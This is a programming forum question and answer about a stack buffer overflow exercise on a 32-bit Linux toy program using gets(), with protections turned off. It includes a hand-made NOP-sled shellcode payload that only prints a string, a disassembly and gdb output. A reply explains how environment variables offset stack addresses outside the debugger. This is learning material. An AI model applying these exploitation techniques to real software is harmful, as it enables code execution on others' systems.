1
votes

Some days ago I coded a simple code to test a buffer overflow exploitation on x86 system. In order to keep it simple I disabled ASLR and NX so there are no protection that could cause weird behaviours.

This is my C code to exploit:

#include <stdio.h>

void read_txt(){
        char txt[64];
        printf("Write something:");
        gets(txt);
}


int main(){
    read_txt();
    return 0;
}

I also wrote my own shellcode that just prints a string. As far as I know the payload should be something like this, fill the buffer with NOP instructions + shellcode, add 0x41414141 (AAAA) to overwrite EBP register and finally I override the return address with an address pointing to the middle of the NOPs.

Actually it does not work in that way and my payload is as follows:

[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]

1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address

This exploit works on gdb but fails if I pass the payload directly to the program, and I think that the problem is that just before the program executes gets() function the disasembler shows the leave instruction which points esp to ebp and causes an error.

This is the disassembly of read_txt() function:

0x0804844c <+0>:    push   %ebp
   0x0804844d <+1>: mov    %esp,%ebp
   0x0804844f <+3>: sub    $0x44,%esp
   0x08048452 <+6>: movl   $0x8048510,(%esp)
   0x08048459 <+13>:    call   0x8048320 <printf@plt>
   0x0804845e <+18>:    lea    -0x40(%ebp),%eax
   0x08048461 <+21>:    mov    %eax,(%esp)
   0x08048464 <+24>:    call   0x8048330 <gets@plt>
   0x08048469 <+29>:    leave  
   0x0804846a <+30>:    ret    

And this is the execution of the exploit on GDB:

(gdb) x/20x $esp
0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090
0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231
0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068
0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0
0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.

0xbffff489 in ?? ()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ?? ()
(gdb) 

Notice that EBP points to 0x90909090 because it has the same address that overrides the return address, and also notice the string Shellcode Executed that is the shellcode included in the payload.

My question is, where could I point EBP to avoid this problem before pointing the return address to the NOP slide? Also as secondary question why I can't fill the 64bytes buffer with NOPs+Shellcode?

Regards.

1
Why would you add AAAA? You need a valid return address you derive somehow. To do that, check the old smashing the stack for fun and profit again: or, as you appear to have read the art of exploitation, the relevant section.gnometorule
My buffer should be 64bytes but it actually has 60bytes so that 4 A's are padding I added to reach ebp.Nucklear
"if NOP+Shellcode fills 64bytes it does not work" What happens exactly when you have NOPs and shellcode up to 64B and what made you choose 'AAAA' in particular? Also, what is the behaviour you are expecting here? Do you want to take control of the program? Or have it just do some things and go on with the rest of the execution?user3155701

1 Answers

1
votes

I know it's 2 years since this particular question was asked , even I faced the same problem , my payload was working correctly in gdb but it failed when I ran it directly . The reason was when you run your program through GDB two environmental variables are created which in turn creates an offset in the memory . So if your return address [obtained via using GDB ] is RET then while executing it directly the return address is RET+offset and it should work fine .

Or while running it via GDB you can prevent the environment variables to be pushed on to the stack Hope this helps for people facing the same issue